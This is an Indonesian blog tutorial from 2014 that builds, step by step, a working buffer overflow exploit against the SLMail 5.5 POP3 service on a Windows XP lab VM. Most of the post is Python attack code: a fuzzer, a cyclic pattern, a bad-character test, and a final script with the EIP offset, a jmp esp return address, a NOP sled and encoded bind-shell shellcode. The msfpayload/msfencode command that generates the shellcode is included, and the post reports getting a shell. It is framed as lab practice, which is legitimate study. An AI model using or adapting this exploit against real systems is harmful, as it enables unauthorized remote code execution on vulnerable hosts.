Selasa, 08 April 2014

Experimen BoF Ke-7

Hari ini kita akan belajar untuk memahami cara kerja dari buffer overflow dengan menggunakan software yang ada di pasaran, tapi tentu nya versi software tersebut sudah lama dan sudah terdapat public exploit nya juga, di sini kita akan mencoba membuat exploit versi sendiri, semoga bisa di ikuti ya hehe ;)
Hal-hal yang perlu di persiapkan adalah :
- 2 OS yang berisi masing-masing VM Kali Linux ( sebagai attacker)  dan VM Windows XP SP3 ( sebagai korban )
- Immunity Debugger
- aplikasi SLMail55_4433.exe, untuk software nya bisa di googling ya :D
- contoh penampakan software SLMail55_4433.exe


- sedikit pemahaman tentang python di perlukan :D
- software SLMail di debug menggunakan immunity, dg cara di attach,
- jika crash, start service nya dari menu services di windows



Langkah pertama:
Kita mencoba untuk mengirimkan suatu string "A" sebanyak-banyaknya sampai aplikasi tersebut mengalami crash, dalam contoh aplikasi ini saya akan mengirimkan sebanyak 3000.
Script yang di gunakan seperti berikut:

#!/usr/bin/python
import socket

host = "10.7.9.246"
port = 110

def fuzz(payload):
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((host, port))
      s.send('USER cool\r\n')
      print s.recv(1024)
      s.send('PASS ' + payload + '\r\n')
      print s.recv(1024)
      s.send('QUIT\r\n')
      print s.recv(1024)
      s.shutdown
      s.close

command = "A" * 3000
fuzz(command)
 Dan ternyata aplikasi mengalami crash, seperti pada gambar di bawah ini.


Langkah kedua:
Setelah aplikasi mengalami crash di string "A" sebanyak 3000, sekarang kita akan membuat pattern string sebanyak 3000 juga, dengan menggunakan cara yang sama di eksperimen sebelumnya ;)


Langkah ketiga:
Edit script sebelumnya dengan menambahkan string dari langkah kedua, seperti berikut ini:
#!/usr/bin/python
import socket

host = '10.7.9.246'
port = 110

def fuzz(payload):
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((host, port))
      s.send('USER cool\r\n')
      print s.recv(1024)
      s.send('PASS ' + payload + '\r\n')
      print s.recv(1024)
      s.send('QUIT\r\n')
      print s.recv(1024)
      s.shutdown
      s.close

command = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
fuzz(command)
Perhatikan value dari alamat memory ESP dan EIP yang keluar di immunity debugger, seperti pada gambar di bawah ini:

Langkah keempat:
Sekarang kita perlu mengetahui posisi ESP dan EIP berada di mana dengan menggunakan perintah seperti pada gambar di bawah ini:


Langkah kelima:
Saat nya kita coba lagi dengan lebih detil jumlah string yang harus di kirim kan sesuai dengan hasil di atas ;) Kemudian kita belajar untuk mengetahui apa saja karakter yang di larang, agar saat membuat payload shell tidak menjadi masalah ;)
Untuk buat script generate karakternya, bisa cek di sini

Edit script sebelumnya dengan menambahkan detil informasi yang kita dapat dari proses sebelumnya, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.246'
port = 110

def fuzz(payload):
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((host, port))
      s.send('USER cool\r\n')
      print s.recv(1024)
      s.send('PASS ' + payload + '\r\n')
      print s.recv(1024)
      s.send('QUIT\r\n')
      print s.recv(1024)
      s.shutdown
      s.close

offsets = {
      'EIP':2606,
      'ESP':2610
}

command = "A" * (offsets['EIP'])
command += "B" * 4 # berikut nya akan di isi alamat jmp esp shell32.dll
command += "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
fuzz(command)
Dan ternyata hasil nya masih ada keanehan, berarti kita harus uji coba dengan menghapus karakter dari hasil generate ./a.out.

Sekarang kita coba hapus karakter "\x00 \x0a \x0d", kemudian jalankan script tersebut. Dan akhirnya karakter yang muncul sudah teratur, seperti pada gambar berikut ini:

Dan ternyata EIP berhasil kita ubah value nya.

Kemudian kita cari alamat memory yang berisi "jmp esp" di file shell32.dll, seperti pada gambar berikut:

Sekarang saat nya membuat payload shell nya dan jangan lupa pastikan payload shell kita tidak terdapat karakter yang di larang tersebut.

Langkah keenam:
Kita buat payload shell di Kali Linux dengan menggunakan perintah berikut:
msfpayload windows/shell_bind_tcp EXITFUNC=seh R | msfencode -a x86 -b "\x00\x0a\x0d" -t c
Kemudian edit script kita, untuk menambahkan script payload shell tersebut, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.246'
port = 110


def fuzz(payload):
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((host, port))
      s.send('USER cool\r\n')
      print s.recv(1024)
      s.send('PASS ' + payload + '\r\n')
      print s.recv(1024)
      s.send('QUIT\r\n')
      print s.recv(1024)
      s.shutdown
      s.close

offsets = {
      'EIP':2606,
      'ESP':2610
}

command = "A" * (offsets['EIP'])
command += "\x4b\x77\xa6\x7c" # jmp esp shell32.dll
command += "\x90" * 20 # nop sleed 20x
command += ("\xd9\xcd\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x56\xba\x74\xc7\x99"
"\x98\x83\xc0\x04\x31\x50\x14\x03\x50\x60\x25\x6c\x64\x60\x20"
"\x8f\x95\x70\x53\x19\x70\x41\x41\x7d\xf0\xf3\x55\xf5\x54\xff"
"\x1e\x5b\x4d\x74\x52\x74\x62\x3d\xd9\xa2\x4d\xbe\xef\x6a\x01"
"\x7c\x71\x17\x58\x50\x51\x26\x93\xa5\x90\x6f\xce\x45\xc0\x38"
"\x84\xf7\xf5\x4d\xd8\xcb\xf4\x81\x56\x73\x8f\xa4\xa9\x07\x25"
"\xa6\xf9\xb7\x32\xe0\xe1\xbc\x1d\xd1\x10\x11\x7e\x2d\x5a\x1e"
"\xb5\xc5\x5d\xf6\x87\x26\x6c\x36\x4b\x19\x40\xbb\x95\x5d\x67"
"\x23\xe0\x95\x9b\xde\xf3\x6d\xe1\x04\x71\x70\x41\xcf\x21\x50"
"\x73\x1c\xb7\x13\x7f\xe9\xb3\x7c\x9c\xec\x10\xf7\x98\x65\x97"
"\xd8\x28\x3d\xbc\xfc\x71\xe6\xdd\xa5\xdf\x49\xe1\xb6\xb8\x36"
"\x47\xbc\x2b\x23\xf1\x9f\x23\x80\xcc\x1f\xb4\x8e\x47\x53\x86"
"\x11\xfc\xfb\xaa\xda\xda\xfc\xcd\xf1\x9b\x93\x33\xf9\xdb\xba"
"\xf7\xad\x8b\xd4\xde\xcd\x47\x25\xde\x18\xc7\x75\x70\xf2\xa8"
"\x25\x30\xa2\x40\x2c\xbf\x9d\x71\x4f\x15\xa8\xb5\x81\x4d\xf9"
"\x51\xe0\x71\xec\xfd\x6d\x97\x64\xee\x3b\x0f\x10\xcc\x1f\x98"
"\x87\x2f\x4a\xb4\x10\xb8\xc2\xd2\xa6\xc7\xd2\xf0\x85\x64\x7a"
"\x93\x5d\x67\xbf\x82\x62\xa2\x97\xcd\x5b\x25\x6d\xa0\x2e\xd7"
"\x72\xe9\xd8\x74\xe0\x76\x18\xf2\x19\x21\x4f\x53\xef\x38\x05"
"\x49\x56\x93\x3b\x90\x0e\xdc\xff\x4f\xf3\xe3\xfe\x02\x4f\xc0"
"\x10\xdb\x50\x4c\x44\xb3\x06\x1a\x32\x75\xf1\xec\xec\x2f\xae"
"\xa6\x78\xa9\x9c\x78\xfe\xb6\xc8\x0e\x1e\x06\xa5\x56\x21\xa7"
"\x21\x5f\x5a\xd5\xd1\xa0\xb1\x5d\xef\x51\x0b\x48\x78\xc8\xfe"
"\x31\xe4\xeb\xd5\x76\x11\x68\xdf\x06\xe6\x70\xaa\x03\xa2\x36"
"\x47\x7e\xbb\xd2\x67\x2d\xbc\xf6")
fuzz(command)
Selanjutnya kita perlu uji coba script tersebut, jika memang aplikasi tidak crash, harus nya kita sudah mendapatkan shell nya, dan ternyata kita berhasil mendapatkan shellnya, berikut uji coba nya:


Note:
Sebagai latihan, bisa mencoba dengan menggunakan OS Windows yang lain nya, untuk mengetahui perbedaan nya seperti apa ;)

Tidak ada komentar:

Posting Komentar